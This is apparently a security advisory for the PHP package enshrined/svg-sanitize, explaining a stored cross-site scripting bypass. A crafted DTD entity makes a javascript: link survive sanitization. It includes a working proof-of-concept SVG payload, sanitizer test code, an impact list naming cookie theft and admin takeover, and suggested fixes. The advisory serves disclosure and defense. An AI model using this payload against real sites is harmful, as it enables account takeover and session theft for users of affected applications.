PT-2026-108644 · Packagist · Enshrined/Svg-Sanitize
Publicado
2026-10-08
·
Atualizado
2026-10-08
CVSS v3.1
5.4
Média
| Vetor | AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
Summary
A crafted SVG bypasses
enshrined/svg-sanitize's href validation and delivers a javascript: URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.
Affected installations:
- enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents
- WordPress Safe SVG plugin: 1M+ active installs (inline SVG rendering via themes)
- TYPO3, Drupal and 90+ other Packagist dependents
Vulnerability Details
Mechanism
- Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:
xml
<!ENTITY Tab "#">In XML,
	 expands to the literal string "#" (from the DTD definition).
In HTML5, 	 is a Named Character Reference that resolves to U+0009 (TAB character).- The SVG uses this entity in an href:
xml
<a href="	javascript:alert(document.domain)">-
During sanitization (XML context):
	→"#"→ the sanitizer seeshref="#javascript:alert(document.domain)"→ starts with#→isHrefSafeValue()returns TRUE → passes through. -
Sanitizer output:
saveXML()outputs the entity reference	(not the expanded value), and strips the DOCTYPE declaration. -
In the browser (HTML5 context): Without the DOCTYPE,
	is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace →javascript:alert(document.domain)executes.
Root Cause (Sanitizer.php)
php
// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)
protected function isHrefSafeValue($value) {
if ('#' === substr($value, 0, 1)) {
return true; // Fragment identifier — "safe"
}
// ...
}
// But saveXML() preserves the entity REFERENCE, not the expanded value
// And the DOCTYPE (which defines the entity) is stripped from output
// → semantic mismatch between validation and output contextsProof of Concept
Malicious SVG (xss.svg)
xml
<!DOCTYPE svg [<!ENTITY Tab "#">]>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>Sanitizer processing
php
<?php
require once 'vendor/autoload.php';
$svg = file get contents('xss.svg');
$sanitizer = new enshrinedsvgSanitizeSanitizer();
$clean = $sanitizer->sanitize($svg);
echo $clean;Output:
xml
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>The
javascript: href passes through the sanitizer. The DOCTYPE is stripped, but the 	 entity reference is preserved.Browser exploitation
Embed the sanitized SVG inline in HTML:
html
<div class="svg-container">
<!-- sanitized SVG output inserted here -->
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
</div>Clicking the red rectangle executes
alert(document.domain).Confirmed: Chrome 148. PoC file:
XSS CONFIRMED POC.htmlExploitable Named Character References
Any HTML5 Named Character Reference that expands to a URL-parser-ignored character:
	→ U+0009 (Horizontal Tab)
→ U+000A (Line Feed)
These are stripped by the URL parser's scheme extraction, allowing
javascript: to be the effective scheme.Impact
Stored XSS
- Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint
- SVG passes sanitization — sanitizer reports no issues
- When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin
- Account takeover:
document.cookie,fetch('/wp-admin/...'), session hijacking
Context requirement
The sanitized SVG must be embedded inline in HTML (not as
<img src="file.svg">). Common scenarios:- WordPress themes that
echo file get contents($svg path)for inline SVG rendering - WordPress block editor SVG preview
- Any web application rendering svg-sanitize output directly in HTML
Standalone
<img src="...svg"> is NOT affected (browser uses XML parser, 	 without DOCTYPE = XML parse error).CVSS
CVSS 3.1: 6.1 (Medium) — stored XSS, requires user click
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NWith session stealing / admin takeover chain: effective severity High.
Suggested Fix
Option 1: Strip DOCTYPE before parsing (recommended)
php
$dirty = preg replace('/<!DOCTYPE[^>]*(?:[.*?])?s*>/si', '', $dirty);Eliminates entity definitions entirely. No DTD entities = no collision.
Option 2: Validate href after serialization
php
$clean = $this->xmlDocument->saveXML(...);
// Post-serialization check: re-validate all href values in the OUTPUT
// (catches entity references that bypass the XML-expanded check)Option 3: Expand entities before validation
Validate
getAttribute() return value AND the serialized form:php
$href = $element->getAttribute($attrName);
$serialized = $this->xmlDocument->saveXML($element);
// Check both for javascript: schemeEnvironment
- enshrined/svg-sanitize 0.22.x
- Chrome 148 (confirmed XSS execution)
- PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)
Reported by ExPatch Security Research — expatch.llc
Denis Rostilov
Correção
XSS
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Enshrined/Svg-Sanitize